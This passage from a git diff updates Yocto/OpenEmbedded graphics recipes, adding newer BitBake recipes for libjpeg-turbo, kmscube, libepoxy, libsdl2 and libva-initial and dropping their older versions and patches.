-
-DEBUG_OPTIMIZATION_append_armv4 = " ${@bb.utils.contains('TUNE_CCARGS', '-mthumb', '-fomit-frame-pointer', '', d)}"
-DEBUG_OPTIMIZATION_append_armv5 = " ${@bb.utils.contains('TUNE_CCARGS', '-mthumb', '-fomit-frame-pointer', '', d)}"
-
-PACKAGES =+ "jpeg-tools libturbojpeg"
-
-DESCRIPTION_jpeg-tools = "The jpeg-tools package includes client programs to access libjpeg functionality. These tools allow for the compression, decompression, transformation and display of JPEG files and benchmarking of the libjpeg library."
-FILES_jpeg-tools = "${bindir}/*"
-
-DESCRIPTION_libturbojpeg = "A SIMD-accelerated JPEG codec which provides only TurboJPEG APIs"
-FILES_libturbojpeg = "${libdir}/libturbojpeg.so.*"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/jpeg/libjpeg-turbo_3.0.1.bb b/meta/recipes-graphics/jpeg/libjpeg-turbo_3.0.1.bb
new file mode 100644
index 0000000000..132d4b375a
--- /dev/null
+++ b/meta/recipes-graphics/jpeg/libjpeg-turbo_3.0.1.bb
@@ -0,0 +1,58 @@
+SUMMARY = "Hardware accelerated JPEG compression/decompression library"
+DESCRIPTION = "libjpeg-turbo is a derivative of libjpeg that uses SIMD instructions (MMX, SSE2, NEON) to accelerate baseline JPEG compression and decompression"
+HOMEPAGE = "http://libjpeg-turbo.org/"
+
+LICENSE = "IJG & BSD-3-Clause & Zlib"
+LIC_FILES_CHKSUM = "file://LICENSE.md;md5=2a8e0d8226a102f07ab63ed7fd6ce155"
+
+DEPENDS:append:x86-64:class-target = " nasm-native"
+DEPENDS:append:x86:class-target = " nasm-native"
+
+SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/${BPN}-${PV}.tar.gz"
+
+SRC_URI[sha256sum] = "22429507714ae147b3acacd299e82099fce5d9f456882fc28e252e4579ba2a75"
+UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/libjpeg-turbo/files/"
+UPSTREAM_CHECK_REGEX = "/libjpeg-turbo/files/(?P<pver>(\d+[\.\-_]*)+)/"
+
+PE = "1"
+
+# Drop-in replacement for jpeg
+PROVIDES = "jpeg"
+RPROVIDES:${PN} += "jpeg"
+RREPLACES:${PN} += "jpeg"
+RCONFLICTS:${PN} += "jpeg"
+
+inherit cmake pkgconfig
+
+export NASMENV = "--reproducible --debug-prefix-map=${WORKDIR}=${TARGET_DBGSRC_DIR}"
+
+# Add nasm-native dependency consistently for all build arches is hard
+EXTRA_OECMAKE:append:class-native = " -DWITH_SIMD=False"
+EXTRA_OECMAKE:append:class-nativesdk = " -DWITH_SIMD=False"
+
+# Work around missing x32 ABI support
+EXTRA_OECMAKE:append:class-target = " ${@bb.utils.contains("TUNE_FEATURES", "mx32", "-DWITH_SIMD=False", "", d)}"
+
+# Work around missing non-floating point ABI support in MIPS
+EXTRA_OECMAKE:append:class-target = " ${@bb.utils.contains("MIPSPKGSFX_FPU", "-nf", "-DWITH_SIMD=False", "", d)}"
+
+EXTRA_OECMAKE:append:class-target:arm = " ${@bb.utils.contains("TUNE_FEATURES", "neon", "", "-DWITH_SIMD=False", d)}"
+EXTRA_OECMAKE:append:class-target:armeb = " ${@bb.utils.contains("TUNE_FEATURES", "neon", "", "-DWITH_SIMD=False", d)}"
+
+# Provide a workaround if Altivec unit is not present in PPC
+EXTRA_OECMAKE:append:class-target:powerpc = " ${@bb.utils.contains("TUNE_FEATURES", "altivec", "", "-DWITH_SIMD=False", d)}"
+EXTRA_OECMAKE:append:class-target:powerpc64 = " ${@bb.utils.contains("TUNE_FEATURES", "altivec", "", "-DWITH_SIMD=False", d)}"
+EXTRA_OECMAKE:append:class-target:powerpc64le = " ${@bb.utils.contains("TUNE_FEATURES", "altivec", "", "-DWITH_SIMD=False", d)}"
+
+DEBUG_OPTIMIZATION:append:armv4 = " ${@bb.utils.contains('TUNE_CCARGS', '-mthumb', '-fomit-frame-pointer', '', d)}"
+DEBUG_OPTIMIZATION:append:armv5 = " ${@bb.utils.contains('TUNE_CCARGS', '-mthumb', '-fomit-frame-pointer', '', d)}"
+
+PACKAGES =+ "jpeg-tools libturbojpeg"
+
+DESCRIPTION:jpeg-tools = "The jpeg-tools package includes client programs to access libjpeg functionality. These tools allow for the compression, decompression, transformation and display of JPEG files and benchmarking of the libjpeg library."
+FILES:jpeg-tools = "${bindir}/*"
+
+DESCRIPTION:libturbojpeg = "A SIMD-accelerated JPEG codec which provides only TurboJPEG APIs"
+FILES:libturbojpeg = "${libdir}/libturbojpeg.so.*"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/kmscube/kmscube/0001-cube-gears-Change-header-file-to-GLES3-gl3.h.patch b/meta/recipes-graphics/kmscube/kmscube/0001-cube-gears-Change-header-file-to-GLES3-gl3.h.patch
new file mode 100644
index 0000000000..f8608d4676
--- /dev/null
+++ b/meta/recipes-graphics/kmscube/kmscube/0001-cube-gears-Change-header-file-to-GLES3-gl3.h.patch
@@ -0,0 +1,31 @@
+From 5f54f067da7ee24a61d6cb41e0636383729e2bad Mon Sep 17 00:00:00 2001
+From: Fabio Estevam <festevam@gmail.com>
+Date: Mon, 8 Jan 2024 15:00:01 -0300
+Subject: [PATCH] cube-gears: Change header file to <GLES3/gl3.h>
+
+Since commit 96d63eb59e34 ("kmscube: Add gears mode"), kmscube fails
+to build on platforms without <GL/gl.h>.
+
+Fix it by changing the header file to <GLES3/gl3.h>.
+
+Reported-by: Martin Jansa <martin.jansa@gmail.com>
+Suggested-by: Martin Jansa <martin.jansa@gmail.com>
+Signed-off-by: Fabio Estevam <festevam@gmail.com>
+Upstream-Status: Submitted [https://gitlab.freedesktop.org/mesa/kmscube/-/merge_requests/51]
+---
+ cube-gears.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/cube-gears.c b/cube-gears.c
+index d5b7a5f..cb538ec 100644
+--- a/cube-gears.c
++++ b/cube-gears.c
+@@ -31,7 +31,7 @@
+ #include <sys/time.h>
+ #include <math.h>
+
+-#include <GL/gl.h>
++#include <GLES3/gl3.h>
+
+ #include "common.h"
+ #include "esUtil.h"
diff --git a/meta/recipes-graphics/kmscube/kmscube_git.bb b/meta/recipes-graphics/kmscube/kmscube_git.bb
index c72fbc61a9..19bbcd195d 100644
--- a/meta/recipes-graphics/kmscube/kmscube_git.bb
+++ b/meta/recipes-graphics/kmscube/kmscube_git.bb
@@ -1,20 +1,33 @@
-DESCRIPTION = "Demo application to showcase 3D graphics using kms and gbm"
+SUMMARY = "Demo application to showcase 3D graphics using kms and gbm"
+DESCRIPTION = "kmscube is a little demonstration program for how to drive bare metal graphics \
+without a compositor like X11, wayland or similar, using DRM/KMS (kernel mode \
+setting), GBM (graphics buffer manager) and EGL for rendering content using \
+OpenGL or OpenGL ES."
HOMEPAGE = "https://cgit.freedesktop.org/mesa/kmscube/"
LICENSE = "MIT"
SECTION = "graphics"
-DEPENDS = "virtual/libgles2 virtual/egl libdrm"
+DEPENDS = "virtual/libgles3 virtual/libgles2 virtual/egl libdrm virtual/libgbm"
LIC_FILES_CHKSUM = "file://kmscube.c;beginline=1;endline=23;md5=8b309d4ee67b7315ff7381270dd631fb"
-SRCREV = "4660a7dca6512b6e658759d00cff7d4ad2a2059d"
-SRC_URI = "git://gitlab.freedesktop.org/mesa/kmscube;branch=master;protocol=https"
+SRCREV = "6ab022fdfcfedd28f4b5dbd8d3299414a367746f"
+SRC_URI = "git://gitlab.freedesktop.org/mesa/kmscube;branch=master;protocol=https \
+ file://0001-cube-gears-Change-header-file-to-GLES3-gl3.h.patch \
+ "
+
UPSTREAM_CHECK_COMMITS = "1"
S = "${WORKDIR}/git"
+BASEPV = "0.0.1"
+PV = "${BASEPV}+git"
+
inherit meson pkgconfig features_check
REQUIRED_DISTRO_FEATURES = "opengl"
PACKAGECONFIG ??= ""
PACKAGECONFIG[gstreamer] = "-Dgstreamer=enabled,-Dgstreamer=disabled,gstreamer1.0 gstreamer1.0-plugins-base"
+
+CFLAGS += "${@bb.utils.contains('DISTRO_FEATURES', 'x11', '', '-DEGL_NO_X11=1', d)}"
+
diff --git a/meta/recipes-graphics/libepoxy/files/0001-dispatch_common.h-define-also-EGL_NO_X11.patch b/meta/recipes-graphics/libepoxy/files/0001-dispatch_common.h-define-also-EGL_NO_X11.patch
deleted file mode 100644
index 7262945181..0000000000
--- a/meta/recipes-graphics/libepoxy/files/0001-dispatch_common.h-define-also-EGL_NO_X11.patch
+++ /dev/null
@@ -1,26 +0,0 @@
-From 6f15cc28d17cfdd86f5974f06ad97b8afedd5627 Mon Sep 17 00:00:00 2001
-From: Martin Jansa <Martin.Jansa@gmail.com>
-Date: Fri, 25 Oct 2019 11:09:34 +0000
-Subject: [PATCH] dispatch_common.h: define also EGL_NO_X11
-
-MESA_EGL_NO_X11_HEADERS was renamed to EGL_NO_X11 in:
-https://github.com/mesa3d/mesa/commit/6202a13b71e18dc31ba7e2f4ea915b67eacc1ddb
-
-Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
-Upstream-Status: Pending
----
- src/dispatch_common.h | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/src/dispatch_common.h b/src/dispatch_common.h
-index dcb3a35..c206253 100644
---- a/src/dispatch_common.h
-+++ b/src/dispatch_common.h
-@@ -52,6 +52,7 @@
- * should do the same
- */
- # define MESA_EGL_NO_X11_HEADERS 1
-+# define EGL_NO_X11 1
- # endif
- #include "epoxy/egl.h"
- #endif
diff --git a/meta/recipes-graphics/libepoxy/libepoxy_1.5.10.bb b/meta/recipes-graphics/libepoxy/libepoxy_1.5.10.bb
new file mode 100644
index 0000000000..384afa6907
--- /dev/null
+++ b/meta/recipes-graphics/libepoxy/libepoxy_1.5.10.bb
@@ -0,0 +1,30 @@
+SUMMARY = "OpenGL function pointer management library"
+DESCRIPTION = "It hides the complexity of dlopen(), dlsym(), \
+glXGetProcAddress(), eglGetProcAddress(), etc. from the app developer, with \
+very little knowledge needed on their part. They get to read GL specs and \
+write code using undecorated function names like glCompileShader()."
+HOMEPAGE = "https://github.com/anholt/libepoxy/"
+SECTION = "libs"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=58ef4c80d401e07bd9ee8b6b58cf464b"
+
+SRC_URI = "git://github.com/anholt/libepoxy;branch=master;protocol=https"
+SRCREV = "c84bc9459357a40e46e2fec0408d04fbdde2c973"
+S = "${WORKDIR}/git"
+
+inherit meson pkgconfig features_check github-releases
+
+REQUIRED_DISTRO_FEATURES = "opengl"
+
+PACKAGECONFIG[egl] = "-Degl=yes, -Degl=no, virtual/egl"
+PACKAGECONFIG[x11] = "-Dglx=yes, -Dglx=no -Dx11=false, virtual/libx11 virtual/libgl"
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)} egl"
+
+EXTRA_OEMESON += "-Dtests=false"
+
+PACKAGECONFIG:class-native = "egl x11"
+PACKAGECONFIG:class-nativesdk = "egl x11"
+
+BBCLASSEXTEND = "native nativesdk"
+
diff --git a/meta/recipes-graphics/libepoxy/libepoxy_1.5.4.bb b/meta/recipes-graphics/libepoxy/libepoxy_1.5.4.bb
deleted file mode 100644
index 6646ef79fe..0000000000
--- a/meta/recipes-graphics/libepoxy/libepoxy_1.5.4.bb
+++ /dev/null
@@ -1,33 +0,0 @@
-SUMMARY = "OpenGL function pointer management library"
-DESCRIPTION = "It hides the complexity of dlopen(), dlsym(), \
-glXGetProcAddress(), eglGetProcAddress(), etc. from the app developer, with \
-very little knowledge needed on their part. They get to read GL specs and \
-write code using undecorated function names like glCompileShader()."
-HOMEPAGE = "https://github.com/anholt/libepoxy/"
-SECTION = "libs"
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=58ef4c80d401e07bd9ee8b6b58cf464b"
-
-SRC_URI = "https://github.com/anholt/${BPN}/releases/download/${PV}/${BP}.tar.xz \
- file://0001-dispatch_common.h-define-also-EGL_NO_X11.patch \
- "
-SRC_URI[md5sum] = "00f47ad447321f9dc59f85bc1c9d0467"
-SRC_URI[sha256sum] = "0bd2cc681dfeffdef739cb29913f8c3caa47a88a451fd2bc6e606c02997289d2"
-UPSTREAM_CHECK_URI = "https://github.com/anholt/libepoxy/releases"
-
-inherit meson pkgconfig features_check
-
-REQUIRED_DISTRO_FEATURES = "opengl"
-
-PACKAGECONFIG[egl] = "-Degl=yes, -Degl=no, virtual/egl"
-PACKAGECONFIG[x11] = "-Dglx=yes, -Dglx=no -Dx11=false, virtual/libx11 virtual/libgl"
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)} egl"
-
-EXTRA_OEMESON += "-Dtests=false"
-
-PACKAGECONFIG_class-native = "egl x11"
-PACKAGECONFIG_class-nativesdk = "egl x11"
-
-BBCLASSEXTEND = "native nativesdk"
-
diff --git a/meta/recipes-graphics/libfakekey/libfakekey_git.bb b/meta/recipes-graphics/libfakekey/libfakekey_git.bb
index ab6f5ac9ed..5f902d3a67 100644
--- a/meta/recipes-graphics/libfakekey/libfakekey_git.bb
+++ b/meta/recipes-graphics/libfakekey/libfakekey_git.bb
@@ -4,16 +4,16 @@ key-presses."
HOMEPAGE = "http://matchbox-project.org/"
BUGTRACKER = "http://bugzilla.yoctoproject.org/"
-LICENSE = "LGPLv2+"
+LICENSE = "LGPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://src/libfakekey.c;endline=30;md5=602b5ccd48f64407510867f3373b448c"
DEPENDS = "libxtst"
SECTION = "x11/wm"
SRCREV = "7ad885912efb2131e80914e964d5e635b0d07b40"
-PV = "0.3+git${SRCPV}"
+PV = "0.3+git"
-SRC_URI = "git://git.yoctoproject.org/${BPN}"
+SRC_URI = "git://git.yoctoproject.org/${BPN};branch=master;protocol=https"
S = "${WORKDIR}/git"
diff --git a/meta/recipes-graphics/libmatchbox/libmatchbox_1.12.bb b/meta/recipes-graphics/libmatchbox/libmatchbox_1.12.bb
index 1a31677978..bf3f5c005d 100644
--- a/meta/recipes-graphics/libmatchbox/libmatchbox_1.12.bb
+++ b/meta/recipes-graphics/libmatchbox/libmatchbox_1.12.bb
@@ -7,7 +7,7 @@ SECTION = "x11/libs"
HOMEPAGE = "http://matchbox-project.org/"
BUGTRACKER = "http://bugzilla.yoctoproject.com/"
-LICENSE = "LGPLv2+ & MIT"
+LICENSE = "LGPL-2.0-or-later & MIT"
LIC_FILES_CHKSUM = "file://COPYING;md5=7fbc338309ac38fefcd64b04bb903e34 \
file://COPYING.MIT;md5=f45ed9332b4f50a35adf2065adde4ca7 \
file://libmb/mbexp.c;endline=20;md5=28c0aef3b23e308464f5dae6a11b0d2f \
@@ -17,7 +17,7 @@ DEPENDS = "virtual/libx11 libxext"
#SRCREV for 1.12
SRCREV = "e846ee434f8e23d9db38af13c523f791495e0e87"
-SRC_URI = "git://git.yoctoproject.org/${BPN}"
+SRC_URI = "git://git.yoctoproject.org/${BPN};branch=master;protocol=https"
S = "${WORKDIR}/git"
diff --git a/meta/recipes-graphics/libsdl2/libsdl2/more-gen-depends.patch b/meta/recipes-graphics/libsdl2/libsdl2/more-gen-depends.patch
deleted file mode 100644
index 8ca52ebde7..0000000000
--- a/meta/recipes-graphics/libsdl2/libsdl2/more-gen-depends.patch
+++ /dev/null
@@ -1,60 +0,0 @@
-From e0f4b6d18ce6f025c78773e909b9c395ad833c7a Mon Sep 17 00:00:00 2001
-From: Ross Burton <ross.burton@intel.com>
-Date: Mon, 29 Jul 2019 08:38:32 +0800
-Subject: [PATCH] configure: fix dependencies
-
-Many source files include e.g. wayland-protocols.h which should be found in the
-sysroot but SDL wants to build its own headers from the XML definitions.
-
-However the rules to generate those headers are only dependencies of the
-top-level libSDL2.la object so can be built in parallel with the rest of the
-objects, which can lead to interesting errors if the header is parsed by the
-compiler whilst it's being written by another process:
-
-| gen/wayland-client-protocol.h:3: error: unterminated #ifndef
-| #ifndef WAYLAND_CLIENT_PROTOCOL_H
-
-Solve this by adding more dependencies so the generated files are built before
-the primary objects.
-
-Upstream-Status: Pending
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-[Moved to configure.ac]
-Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
----
- configure.ac | 6 +++---
- 1 file changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index 9e782c6..997915a 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -4061,7 +4061,7 @@ DEPENDS=`echo $SOURCES | tr ' ' '\n'`
- for EXT in asm cc m c S; do
- OBJECTS=`echo "$OBJECTS" | sed 's,[[^ ]]*/\([[^ ]]*\)\.'$EXT',$(objects)/\1.lo,g'`
- DEPENDS=`echo "$DEPENDS" | sed "s,^\\([[^ ]]*\\)/\\([[^ ]]*\\)\\.$EXT\\$,\\\\
--\\$(objects)/\\2.lo: \\1/\\2.$EXT \\$(objects)/.created\\\\
-+\\$(objects)/\\2.lo: \\1/\\2.$EXT \\$(objects)/.created \\$(GEN_OBJECTS)\\\\
- \\$(RUN_CMD_CC)\\$(LIBTOOL) --tag=CC --mode=compile \\$(CC) \\$(CFLAGS) \\$(EXTRA_CFLAGS) $DEPENDENCY_TRACKING_OPTIONS -c \\$< -o \\$@,g"`
- done
-
-@@ -4078,14 +4078,14 @@ SDLMAIN_OBJECTS=`echo $SDLMAIN_SOURCES`
- SDLMAIN_DEPENDS=`echo $SDLMAIN_SOURCES`
- SDLMAIN_OBJECTS=`echo "$SDLMAIN_OBJECTS" | sed 's,[[^ ]]*/\([[^ ]]*\)\.c,$(objects)/\1.lo,g'`
- SDLMAIN_DEPENDS=`echo "$SDLMAIN_DEPENDS" | sed "s,\\([[^ ]]*\\)/\\([[^ ]]*\\)\\.c,\\\\
--\\$(objects)/\\2.lo: \\1/\\2.c \\$(objects)/.created\\\\
-+\\$(objects)/\\2.lo: \\1/\\2.c \\$(objects)/.created \\$(GEN_OBJECTS)\\\\
- \\$(RUN_CMD_CC)\\$(LIBTOOL) --tag=CC --mode=compile \\$(CC) \\$(CFLAGS) \\$(EXTRA_CFLAGS) $DEPENDENCY_TRACKING_OPTIONS -c \\$< -o \\$@,g"`
-
- SDLTEST_OBJECTS=`echo $SDLTEST_SOURCES`
- SDLTEST_DEPENDS=`echo $SDLTEST_SOURCES`
- SDLTEST_OBJECTS=`echo "$SDLTEST_OBJECTS" | sed 's,[[^ ]]*/\([[^ ]]*\)\.c,$(objects)/\1.lo,g'`
- SDLTEST_DEPENDS=`echo "$SDLTEST_DEPENDS" | sed "s,\\([[^ ]]*\\)/\\([[^ ]]*\\)\\.c,\\\\
--\\$(objects)/\\2.lo: \\1/\\2.c \\$(objects)/.created\\\\
-+\\$(objects)/\\2.lo: \\1/\\2.c \\$(objects)/.created \\$(GEN_OBJECTS)\\\\
- \\$(RUN_CMD_CC)\\$(LIBTOOL) --tag=CC --mode=compile \\$(CC) \\$(CFLAGS) \\$(EXTRA_CFLAGS) $DEPENDENCY_TRACKING_OPTIONS -c \\$< -o \\$@,g"`
-
- # Set runtime shared library paths as needed
---
-2.7.4
-
diff --git a/meta/recipes-graphics/libsdl2/libsdl2_2.0.12.bb b/meta/recipes-graphics/libsdl2/libsdl2_2.0.12.bb
deleted file mode 100644
index 83dce86801..0000000000
--- a/meta/recipes-graphics/libsdl2/libsdl2_2.0.12.bb
+++ /dev/null
@@ -1,81 +0,0 @@
-SUMMARY = "Simple DirectMedia Layer"
-DESCRIPTION = "Simple DirectMedia Layer is a cross-platform multimedia \
-library designed to provide low level access to audio, keyboard, mouse, \
-joystick, 3D hardware via OpenGL, and 2D video framebuffer."
-HOMEPAGE = "http://www.libsdl.org"
-BUGTRACKER = "http://bugzilla.libsdl.org/"
-
-SECTION = "libs"
-
-LICENSE = "Zlib"
-LIC_FILES_CHKSUM = "file://COPYING.txt;md5=2d4af6adb4d89aad0cdedbcc18c9a32f"
-
-# arm-neon adds MIT license
-LICENSE_append = " ${@bb.utils.contains('PACKAGECONFIG', 'arm-neon', '& MIT', '', d)}"
-LIC_FILES_CHKSUM_append = " ${@bb.utils.contains('PACKAGECONFIG', 'arm-neon', 'file://src/video/arm/pixman-arm-neon-asm.h;md5=9a9cc1e51abbf1da58f4d9528ec9d49b;beginline=1;endline=24', '', d)}"
-
-PROVIDES = "virtual/libsdl2"
-
-SRC_URI = "http://www.libsdl.org/release/SDL2-${PV}.tar.gz \
- file://more-gen-depends.patch \
-"
-
-S = "${WORKDIR}/SDL2-${PV}"
-
-SRC_URI[md5sum] = "783b6f2df8ff02b19bb5ce492b99c8ff"
-SRC_URI[sha256sum] = "349268f695c02efbc9b9148a70b85e58cefbbf704abd3e91be654db7f1e2c863"
-
-inherit autotools lib_package binconfig-disabled pkgconfig
-
-BINCONFIG = "${bindir}/sdl2-config"
-
-CVE_PRODUCT = "simple_directmedia_layer sdl"
-
-EXTRA_OECONF = "--disable-oss --disable-esd --disable-arts \
- --disable-diskaudio --disable-nas --disable-esd-shared --disable-esdtest \
- --disable-video-dummy \
- --enable-pthreads \
- --enable-sdl-dlopen \
- --disable-rpath \
- --disable-sndio \
- --disable-fcitx --disable-ibus \
- "
-
-# opengl packageconfig factored out to make it easy for distros
-# and BSP layers to pick either (desktop) opengl, gles2, or no GL
-PACKAGECONFIG_GL ?= "${@bb.utils.filter('DISTRO_FEATURES', 'opengl', d)}"
-
-PACKAGECONFIG_class-native = "x11 ${PACKAGECONFIG_GL}"
-PACKAGECONFIG_class-nativesdk = "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)} ${PACKAGECONFIG_GL}"
-PACKAGECONFIG ??= " \
- ${PACKAGECONFIG_GL} \
- ${@bb.utils.filter('DISTRO_FEATURES', 'alsa directfb pulseaudio x11', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'wayland', 'wayland gles2', '', d)} \
- ${@bb.utils.contains("TUNE_FEATURES", "neon","arm-neon","",d)} \
-"
-PACKAGECONFIG[alsa] = "--enable-alsa --disable-alsatest,--disable-alsa,alsa-lib,"
-PACKAGECONFIG[arm-neon] = "--enable-arm-neon,--disable-arm-neon"
-PACKAGECONFIG[directfb] = "--enable-video-directfb,--disable-video-directfb,directfb"
-PACKAGECONFIG[gles2] = "--enable-video-opengles,--disable-video-opengles,virtual/libgles2"
-PACKAGECONFIG[jack] = "--enable-jack,--disable-jack,jack"
-PACKAGECONFIG[kmsdrm] = "--enable-video-kmsdrm,--disable-video-kmsdrm,libdrm virtual/libgbm"
-PACKAGECONFIG[opengl] = "--enable-video-opengl,--disable-video-opengl,virtual/libgl"
-PACKAGECONFIG[pulseaudio] = "--enable-pulseaudio,--disable-pulseaudio,pulseaudio"
-PACKAGECONFIG[tslib] = "--enable-input-tslib,--disable-input-tslib,tslib"
-PACKAGECONFIG[wayland] = "--enable-video-wayland,--disable-video-wayland,wayland-native wayland wayland-protocols libxkbcommon"
-PACKAGECONFIG[x11] = "--enable-video-x11,--disable-video-x11,virtual/libx11 libxext libxrandr libxrender"
-
-EXTRA_AUTORECONF += "--include=acinclude --exclude=autoheader"
-
-do_configure_prepend() {
- # Remove old libtool macros.
- MACROS="libtool.m4 lt~obsolete.m4 ltoptions.m4 ltsugar.m4 ltversion.m4"
- for i in ${MACROS}; do
- rm -f ${S}/acinclude/$i
- done
- export SYSROOT=$PKG_CONFIG_SYSROOT_DIR
-}
-
-FILES_${PN}-dev += "${libdir}/cmake"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/libsdl2/libsdl2_2.30.1.bb b/meta/recipes-graphics/libsdl2/libsdl2_2.30.1.bb
new file mode 100644
index 0000000000..891e91190a
--- /dev/null
+++ b/meta/recipes-graphics/libsdl2/libsdl2_2.30.1.bb
@@ -0,0 +1,85 @@
+SUMMARY = "Simple DirectMedia Layer"
+DESCRIPTION = "Simple DirectMedia Layer is a cross-platform multimedia \
+library designed to provide low level access to audio, keyboard, mouse, \
+joystick, 3D hardware via OpenGL, and 2D video framebuffer."
+HOMEPAGE = "http://www.libsdl.org"
+BUGTRACKER = "http://bugzilla.libsdl.org/"
+
+SECTION = "libs"
+
+LICENSE = "Zlib & BSD-2-Clause"
+LIC_FILES_CHKSUM = "\
+ file://LICENSE.txt;md5=25231a5b96ccdd8f39eb53c07717be64 \
+ file://src/hidapi/LICENSE.txt;md5=7c3949a631240cb6c31c50f3eb696077 \
+ file://src/hidapi/LICENSE-bsd.txt;md5=b5fa085ce0926bb50d0621620a82361f \
+ file://src/video/yuv2rgb/LICENSE;md5=79f8f3418d91531e05f0fc94ca67e071 \
+"
+
+# arm-neon adds MIT license
+LICENSE:append = " ${@bb.utils.contains('PACKAGECONFIG', 'arm-neon', '& MIT', '', d)}"
+LIC_FILES_CHKSUM:append = " ${@bb.utils.contains('PACKAGECONFIG', 'arm-neon', 'file://src/video/arm/pixman-arm-neon-asm.h;md5=9a9cc1e51abbf1da58f4d9528ec9d49b;beginline=1;endline=24', '', d)}"
+
+PROVIDES = "virtual/libsdl2"
+
+SRC_URI = "http://www.libsdl.org/release/SDL2-${PV}.tar.gz"
+
+S = "${WORKDIR}/SDL2-${PV}"
+
+SRC_URI[sha256sum] = "01215ffbc8cfc4ad165ba7573750f15ddda1f971d5a66e9dcaffd37c587f473a"
+
+inherit cmake lib_package binconfig-disabled pkgconfig upstream-version-is-even
+
+BINCONFIG = "${bindir}/sdl2-config"
+
+CVE_PRODUCT = "simple_directmedia_layer sdl"
+
+EXTRA_OECMAKE = "-DSDL_OSS=OFF -DSDL_ESD=OFF -DSDL_ARTS=OFF \
+ -DSDL_DISKAUDIO=OFF -DSDL_NAS=OFF -DSDL_ESD_SHARED=OFF \
+ -DSDL_DUMMYVIDEO=OFF \
+ -DSDL_RPI=OFF \
+ -DSDL_PTHREADS=ON \
+ -DSDL_RPATH=OFF \
+ -DSDL_SNDIO=OFF \
+ -DSDL_X11_XCURSOR=OFF \
+ -DSDL_X11_XDBE=OFF \
+ -DSDL_X11_XFIXES=OFF \
+ -DSDL_X11_XINPUT=OFF \
+ -DSDL_X11_XRANDR=OFF \
+ -DSDL_X11_XSCRNSAVER=OFF \
+ -DSDL_X11_XSHAPE=OFF \
+"
+
+# opengl packageconfig factored out to make it easy for distros
+# and BSP layers to pick either (desktop) opengl, gles2, or no GL
+PACKAGECONFIG_GL ?= "${@bb.utils.filter('DISTRO_FEATURES', 'opengl', d)}"
+
+PACKAGECONFIG:class-native = "x11 ${PACKAGECONFIG_GL}"
+PACKAGECONFIG:class-nativesdk = "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)} ${PACKAGECONFIG_GL}"
+PACKAGECONFIG ??= " \
+ ${PACKAGECONFIG_GL} \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'alsa directfb pulseaudio pipewire x11 vulkan', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'wayland', 'wayland gles2', '', d)} \
+ ${@bb.utils.contains("TUNE_FEATURES", "neon","arm-neon","",d)} \
+"
+PACKAGECONFIG[alsa] = "-DSDL_ALSA=ON,-DSDL_ALSA=OFF,alsa-lib,"
+PACKAGECONFIG[arm-neon] = "-DSDL_ARMNEON=ON,-DSDL_ARMNEON=OFF"
+PACKAGECONFIG[directfb] = "-DSDL_DIRECTFB=ON,-DSDL_DIRECTFB=OFF,directfb,directfb"
+PACKAGECONFIG[gles2] = "-DSDL_OPENGLES=ON,-DSDL_OPENGLES=OFF,virtual/libgles2"
+PACKAGECONFIG[jack] = "-DSDL_JACK=ON,-DSDL_JACK=OFF,jack"
+PACKAGECONFIG[kmsdrm] = "-DSDL_KMSDRM=ON,-DSDL_KMSDRM=OFF,libdrm virtual/libgbm"
+# The hidraw support doesn't catch Xbox, PS4 and Nintendo controllers,
+# so we'll just use libusb when it's available.
+PACKAGECONFIG[libusb] = ",,libusb1"
+PACKAGECONFIG[libdecor] = "-DSDL_WAYLAND_LIBDECOR=ON,-DSDL_WAYLAND_LIBDECOR=OFF,libdecor,libdecor"
+PACKAGECONFIG[opengl] = "-DSDL_OPENGL=ON,-DSDL_OPENGL=OFF,virtual/egl"
+PACKAGECONFIG[pipewire] = "-DSDL_PIPEWIRE_SHARED=ON,-DSDL_PIPEWIRE_SHARED=OFF,pipewire"
+PACKAGECONFIG[pulseaudio] = "-DSDL_PULSEAUDIO=ON,-DSDL_PULSEAUDIO=OFF,pulseaudio"
+PACKAGECONFIG[vulkan] = "-DSDL_VULKAN=ON,-DSDL_VULKAN=OFF"
+PACKAGECONFIG[wayland] = "-DSDL_WAYLAND=ON,-DSDL_WAYLAND=OFF,wayland-native wayland wayland-protocols libxkbcommon"
+PACKAGECONFIG[x11] = "-DSDL_X11=ON,-DSDL_X11=OFF,virtual/libx11 libxext libxrandr libxrender"
+
+CFLAGS:append:class-native = " -DNO_SHARED_MEMORY"
+
+FILES:${PN} += "${datadir}/licenses/SDL2/LICENSE.txt"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/libva/libva-initial_2.20.0.bb b/meta/recipes-graphics/libva/libva-initial_2.20.0.bb
new file mode 100644
index 0000000000..453096822f
--- /dev/null
+++ b/meta/recipes-graphics/libva/libva-initial_2.20.0.bb
@@ -0,0 +1,8 @@
+require libva.inc
+
+PACKAGECONFIG ?= ""
+
+do_install:append () {
+ rm -f ${D}${libdir}/*.so*
+}
+
diff --git a/meta/recipes-graphics/libva/libva-initial_2.8.0.bb b/meta/recipes-graphics/libva/libva-initial_2.8.0.bb
deleted file mode 100644
index f90bb510c4..0000000000
--- a/meta/recipes-graphics/libva/libva-initial_2.8.0.bb
+++ /dev/null
@@ -1,8 +0,0 @@
-require libva.inc
-
